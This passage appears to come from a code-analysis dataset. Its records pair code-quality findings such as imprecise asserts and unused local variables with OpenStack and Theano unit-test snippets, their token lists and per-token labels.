", " _", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "a", "'_", ":_", "{_", "'", "c", "'_", ":_", "5_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "usi", "ng", "\\u", "a", "\\u", "named", "\\u", "config_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "ex_", "._", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cfg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "named", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "ncf", "g_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "main_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "run_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", ")_", "._", "result_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "named", "\\u", "configs_", "=_", "[_", "'", "ncf", "g", "'_", "]_", ")_", "._", "result_", "==_", "10_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
openstack/group-based-policy/gbpservice/neutron/tests/unit/services/grouppolicy/test_group_proxy_extension.py
[ { "content": " def test_preexisting_pt(self):\n ptg = self.create_policy_target_group()['policy_target_group']\n pt = self.create_policy_target(\n policy_target_group_id=ptg['id'])['policy_target']\n self.assertTrue('proxy_gateway' in pt)\n self.assertTrue('group_default_gateway' in pt)\n\n # Forcefully delete the entry in the proxy table, and verify that it's\n # fixed by the subsequent GET\n admin_context = n_ctx.get_admin_context()\n mapping = admin_context.session.query(\n group_proxy_db.ProxyGatewayMapping).filter_by(\n policy_target_id=pt['id']).one()\n admin_context.session.delete(mapping)\n query = admin_context.session.query(\n group_proxy_db.ProxyGatewayMapping).filter_by(\n policy_target_id=pt['id'])\n self.assertRaises(orm_exc.NoResultFound, query.one)\n\n # Showing the object just ignores the extension\n pt = self.show_policy_target(pt['id'],\n expected_res_status=200)['policy_target']\n self.assertFalse('proxy_gateway' in pt)\n self.assertFalse('group_default_gateway' in pt)\n\n # Updating the object just ignores the extension\n pt = self.update_policy_target(\n pt['id'], name='somenewname',\n expected_res_status=200)['policy_target']\n self.assertEqual('somenewname', pt['name'])\n self.assertFalse('proxy_gateway' in pt)\n self.assertFalse('group_default_gateway' in pt)", "metadata": "root.ExtensionDriverTestCaseMixin.test_preexisting_pt", "header": "['class', 'ExtensionDriverTestCaseMixin', '(', 'object', ')', ':', '___EOS___']", "index": 63 } ]
[ { "span": "self.assertTrue('proxy_gateway' in pt)", "start_line": 67, "start_column": 8, "end_line": 67, "end_column": 46 }, { "span": "self.assertTrue('group_default_gateway' in pt)", "start_line": 68, "start_column": 8, "end_line": 68, "end_column": 54 }, { "span": "self.assertFalse('proxy_gateway' in pt)", "start_line": 85, "start_column": 8, "end_line": 85, "end_column": 47 }, { "span": "self.assertFalse('group_default_gateway' in pt)", "start_line": 86, "start_column": 8, "end_line": 86, "end_column": 55 }, { "span": "self.assertFalse('proxy_gateway' in pt)", "start_line": 93, "start_column": 8, "end_line": 93, "end_column": 47 }, { "span": "self.assertFalse('group_default_gateway' in pt)", "start_line": 94, "start_column": 8, "end_line": 94, "end_column": 55 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Ext", "ensi", "on", "Drive", "r", "Test", "Case", "Mixin_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pree", "xist", "ing", "\\u", "pt_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pt", "g_", "=_", "self_", "._", "create", "\\u", "policy", "\\u", "target", "\\u", "group_", "(_", ")_", "[_", "'", "policy", "\\u", "target", "\\u", "group", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pt_", "=_", "self_", "._", "create", "\\u", "policy", "\\u", "target_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "policy", "\\u", "target", "\\u", "group", "\\u", "id_", "=_", "pt", "g_", "[_", "'", "id", "'_", "]_", ")_", "[_", "'", "policy", "\\u", "target", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "proxy", "\\u", "gateway", "'_", "in_", "pt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "group", "\\u", "default", "\\u", "gateway", "'_", "in_", "pt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Force", "full", "y", " ", "delete", " ", "the", " ", "entry", " ", "in", " ", "the", " ", "proxy", " ", "table", ",", " ", "and", " ", "verify", " ", "tha", "t", " ", "it", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fixed", " ", "by", " ", "the", " ", "subsequen", "t", " ", "GET_", "\\u\\u\\uNL\\u\\u\\u_", "admin", "\\u", "context_", "=_", "n", "\\u", "ctx_", "._", "get", "\\u", "admin", "\\u", "context_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mapping_", "=_", "admin", "\\u", "context_", "._", "session_", "._", "query_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "group", "\\u", "proxy", "\\u", "db_", "._", "Pro", "xy", "Gat", "ewa", "y", "Mapping_", ")_", "._", "filter", "\\u", "by_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "policy", "\\u", "target", "\\u", "id_", "=_", "pt_", "[_", "'", "id", "'_", "]_", ")_", "._", "one_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "\\u", "context_", "._", "session_", "._", "delete_", "(_", "mapping_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "admin", "\\u", "context_", "._", "session_", "._", "query_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "group", "\\u", "proxy", "\\u", "db_", "._", "Pro", "xy", "Gat", "ewa", "y", "Mapping_", ")_", "._", "filter", "\\u", "by_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "policy", "\\u", "target", "\\u", "id_", "=_", "pt_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "orm", "\\u", "exc_", "._", "No", "Result", "Found_", ",_", "query_", "._", "one_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Show", "ing", " ", "the", " ", "object", " ", "just", " ", "ignores", " ", "the", " ", "extension_", "\\u\\u\\uNL\\u\\u\\u_", "pt_", "=_", "self_", "._", "show", "\\u", "policy", "\\u", "target_", "(_", "pt_", "[_", "'", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "expected", "\\u", "res", "\\u", "status_", "=_", "200_", ")_", "[_", "'", "policy", "\\u", "target", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "proxy", "\\u", "gateway", "'_", "in_", "pt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "group", "\\u", "default", "\\u", "gateway", "'_", "in_", "pt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Up", "dati", "ng", " ", "the", " ", "object", " ", "just", " ", "ignores", " ", "the", " ", "extension_", "\\u\\u\\uNL\\u\\u\\u_", "pt_", "=_", "self_", "._", "update", "\\u", "policy", "\\u", "target_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "pt_", "[_", "'", "id", "'_", "]_", ",_", "name_", "=_", "'", "some", "newn", "ame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "expected", "\\u", "res", "\\u", "status_", "=_", "200_", ")_", "[_", "'", "policy", "\\u", "target", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "some", "newn", "ame", "'_", ",_", "pt_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "proxy", "\\u", "gateway", "'_", "in_", "pt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "group", "\\u", "default", "\\u", "gateway", "'_", "in_", "pt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
rizar/attention-lvcsr/libs/Theano/theano/compile/tests/test_function_module.py
[ { "content": " def test_missing_inputs(self):\n\n def fn():\n x, s = T.scalars('xs')\n fn = function([], [x])\n checkfor(self, fn, MissingInputError)\n\n def fn():\n x, s = T.scalars('xs')\n # Ignore unused input s, as it hides the other error\n fn = function([s], [x], on_unused_input='ignore')\n checkfor(self, fn, MissingInputError)\n\n def fn():\n x, s = T.scalars('xs')\n fn = function([s], [x])\n checkfor(self, fn, UnusedInputError)\n\n def fn():\n x, s = T.scalars('xs')\n # Ignore unused input s, as it hides the other error\n fn = function([s], x, on_unused_input='ignore')\n checkfor(self, fn, MissingInputError)\n\n def fn():\n x, s = T.scalars('xs')\n fn = function([s], x)\n checkfor(self, fn, UnusedInputError)\n\n def fn():\n x, s = T.scalars('xs')\n # Ignore unused input s, as it hides the other error\n fn = function([s], Out(x), on_unused_input='ignore')\n checkfor(self, fn, MissingInputError)\n\n def fn():\n x, s = T.scalars('xs')\n fn = function([s], Out(x))\n checkfor(self, fn, UnusedInputError)\n\n def fn():\n x, s = T.scalars('xs')\n fn = function([In(x, update=s+x)], x)\n checkfor(self, fn, MissingInputError)\n\n def fn():\n x, s = T.scalars('xs')\n fn = function([In(x, update=((s * s) + x))], x)\n checkfor(self, fn, MissingInputError)", "metadata": "root.T_function.test_missing_inputs", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " def test_weird_names(self):\n a, x, s = T.scalars('xxx')\n\n checkfor(self, lambda: function([In(a, name=[])], []), TypeError)\n\n def t():\n f = function([In(a, name=set(['adsf', ()]), value=1.0),\n In(x, name=(), value=2.0),\n In(s, name=T.scalar(), value=3.0)], a+x+s)\n checkfor(self, t, TypeError)", "metadata": "root.T_function.test_weird_names", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 210 }, { "content": " def test_copy_share_memory(self):\n x = T.fscalar('x')\n # SharedVariable for tests, one of them has update\n y = theano.shared(value=1)\n z = theano.shared(value=2)\n out = T.tanh((x+y+2)/(x+z-0.2)**2)\n\n # Test for different linkers\n for mode in [\"FAST_RUN\",\"FAST_COMPILE\"]:\n ori = theano.function([x], [out], mode=mode,updates={z:z+1})\n cpy = ori.copy(share_memory=True)\n\n # Test if memories shared\n storage_map_ori = ori.fn.storage_map\n storage_map_cpy = cpy.fn.storage_map\n fgraph_ori = ori.maker.fgraph\n fgraph_cpy = cpy.maker.fgraph\n\n # Assert intermediate and Constants storages are shared.\n # and output stoarges are not shared\n i_o_variables = fgraph_cpy.inputs + fgraph_cpy.outputs\n ori_storages = storage_map_ori.values()\n for key in storage_map_cpy.keys():\n storage = storage_map_cpy[key]\n if key not in i_o_variables or isinstance(key, theano.tensor.Constant):\n self.assertTrue(any([ storage is s for s in ori_storages]))\n\n # Assert storages of SharedVariable without updates are shared\n for (input, _1, _2), here, there in zip(ori.indices,\n ori.input_storage,\n cpy.input_storage):\n self.assertTrue(here.data is there.data)", "metadata": "root.T_function.test_copy_share_memory", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 243 }, { "content": " def test_swap_SharedVaraile_with_given(self):\n \"\"\"\n A special testcase for logistic_sgd.py in Deep Learning Tutorial\n This test assert that SharedVariable in different function have same storage\n \"\"\"\n train_x = theano.shared(value=numpy.random.rand(10,10).astype(config.floatX))\n test_x = theano.shared(value=numpy.random.rand(10,10).astype(config.floatX))\n\n train_y = theano.shared(value=numpy.random.rand(10,1).astype(config.floatX))\n test_y = theano.shared(value=numpy.random.rand(10,1).astype(config.floatX))\n\n i = T.iscalar('index')\n x = T.vector('x')\n y = T.vector('y')\n # this formular has no sense but for a test\n out = (T.sum(x) - y) ** 2\n train = theano.function([i], out,\n givens={x:train_x[i], y:train_y[i]},\n updates={train_x:train_x+0.1})\n\n test_def = theano.function([i], out, givens={x:test_x[i], y:test_y[i]})\n test_cpy = train.copy(swap={train_x:test_x, train_y:test_y},\n delete_updates=True)\n\n for in1, in2 in zip( test_def.maker.inputs, test_def.maker.inputs):\n assert in1.value is in2.value", "metadata": "root.T_function.test_swap_SharedVaraile_with_given", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 335 }, { "content": " def test_copy_delete_updates(self):\n x = T.fscalar('x')\n # SharedVariable for tests, one of them has update\n y = theano.shared(value=1, name='y')\n z = theano.shared(value=2, name='z')\n out = x+y+z\n\n # Test for different linkers\n # for mode in [\"FAST_RUN\",\"FAST_COMPILE\"]:\n second_time = False\n for mode in [\"FAST_RUN\",\"FAST_COMPILE\"]:\n ori = theano.function([x], out, mode=mode,updates={z:z*2})\n cpy = ori.copy(delete_updates=True)\n\n assert cpy(1)[0] == 4\n assert cpy(1)[0] == 4\n assert cpy(1)[0] == 4", "metadata": "root.T_function.test_copy_delete_updates", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 362 }, { "content": " def test_disconnected_input(self):\n a = T.scalar('a')\n v = T.vector('v')\n self.assertRaises(UnusedInputError, function, [a, v], v*2)\n f = function([a, v], v*2, on_unused_input='ignore')", "metadata": "root.T_function.test_disconnected_input", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 518 }, { "content": " def test_masked_input(self):\n m = T.matrix('m')\n mt = m.T\n mt.name = 'm.T'\n self.assertRaises(UnusedInputError, function, [m, mt], mt*2)\n f = function([m, mt], mt*2, on_unused_input='ignore')", "metadata": "root.T_function.test_masked_input", "header": "['class', 'T_function', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 524 }, { "content": " def test_broken_pickle_with_shared(self):\n saves = []\n def pers_save(obj):\n if isinstance(obj, numpy.ndarray):\n saves.append(obj)\n return len(saves)-1\n else:\n return None\n def pers_load(id):\n return saves[id]\n\n a = numpy.random.rand(4, 5)\n b = numpy.random.rand(5, 4)\n\n x = theano.tensor.matrix()\n y = theano.shared(b)\n\n f = theano.function([x], theano.tensor.dot(x, y))\n\n from theano.compat import BytesIO\n fp = BytesIO()\n p = pickle.Pickler(fp, 2)\n p.persistent_id = pers_save\n try:\n p.dump(f)\n except NotImplementedError as e:\n if exc_message(e).startswith('DebugMode is not picklable'):\n return\n else:\n raise\n fp2 = BytesIO(fp.getvalue())\n fp.close()\n p = pickle.Unpickler(fp2)\n p.persistent_load = pers_load\n f2 = p.load()\n fp2.close()", "metadata": "root.T_picklefunction.test_broken_pickle_with_shared", "header": "['class', 'T_picklefunction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 777 } ]
[ { "span": "fn ", "start_line": 61, "start_column": 12, "end_line": 61, "end_column": 14 }, { "span": "fn ", "start_line": 67, "start_column": 12, "end_line": 67, "end_column": 14 }, { "span": "fn ", "start_line": 72, "start_column": 12, "end_line": 72, "end_column": 14 }, { "span": "fn ", "start_line": 78, "start_column": 12, "end_line": 78, "end_column": 14 }, { "span": "fn ", "start_line": 83, "start_column": 12, "end_line": 83, "end_column": 14 }, { "span": "fn ", "start_line": 89, "start_column": 12, "end_line": 89, "end_column": 14 }, { "span": "fn ", "start_line": 94, "start_column": 12, "end_line": 94, "end_column": 14 }, { "span": "fn ", "start_line": 99, "start_column": 12, "end_line": 99, "end_column": 14 }, { "span": "fn ", "start_line": 104, "start_column": 12, "end_line": 104, "end_column": 14 }, { "span": "f ", "start_line": 216, "start_column": 12, "end_line": 216, "end_column": 13 }, { "span": "fgraph_ori ", "start_line": 258, "start_column": 12, "end_line": 258, "end_column": 22 }, { "span": "test_cpy ", "start_line": 356, "start_column": 8, "end_line": 356, "end_column": 16 }, { "span": "second_time ", "start_line": 371, "start_column": 8, "end_line": 371, "end_column": 19 }, { "span": "f ", "start_line": 522, "start_column": 8, "end_line": 522, "end_column": 9 }, { "span": "f ", "start_line": 529, "start_column": 8, "end_line": 529, "end_column": 9 }, { "span": "a ", "start_line": 788, "start_column": 8, "end_line": 788, "end_column": 9 }, { "span": "f2 ", "start_line": 811, "start_column": 8, "end_line": 811, "end_column": 10 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "missi", "ng", "\\u", "inputs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "]_", ",_", "[_", "x_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Missing", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ignor", "e", " ", "unu", "sed", " ", "input", " ", "s", ",", " ", "as", " ", "it", " ", "hide", "s", " ", "the", " ", "other", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "s_", "]_", ",_", "[_", "x_", "]_", ",_", "on", "\\u", "unu", "sed", "\\u", "input_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Missing", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "s_", "]_", ",_", "[_", "x_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Un", "used", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ignor", "e", " ", "unu", "sed", " ", "input", " ", "s", ",", " ", "as", " ", "it", " ", "hide", "s", " ", "the", " ", "other", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "s_", "]_", ",_", "x_", ",_", "on", "\\u", "unu", "sed", "\\u", "input_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Missing", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "s_", "]_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Un", "used", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ignor", "e", " ", "unu", "sed", " ", "input", " ", "s", ",", " ", "as", " ", "it", " ", "hide", "s", " ", "the", " ", "other", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "s_", "]_", ",_", "Out_", "(_", "x_", ")_", ",_", "on", "\\u", "unu", "sed", "\\u", "input_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Missing", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "s_", "]_", ",_", "Out_", "(_", "x_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Un", "used", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "In_", "(_", "x_", ",_", "update_", "=_", "s_", "+_", "x_", ")_", "]_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Missing", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "function_", "(_", "[_", "In_", "(_", "x_", ",_", "update_", "=_", "(_", "(_", "s_", "*_", "s_", ")_", "+_", "x_", ")_", ")_", "]_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "fn_", ",_", "Missing", "Inp", "ut", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "weird", "\\u", "names_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", ",_", "x_", ",_", "s_", "=_", "T_", "._", "scalars", "_", "(_", "'", "xxx", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "lambda_", ":_", "function_", "(_", "[_", "In_", "(_", "a_", ",_", "name_", "=_", "[_", "]_", ")_", "]_", ",_", "[_", "]_", ")_", ",_", "Type", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "t_", "(_", ")_", ":_", 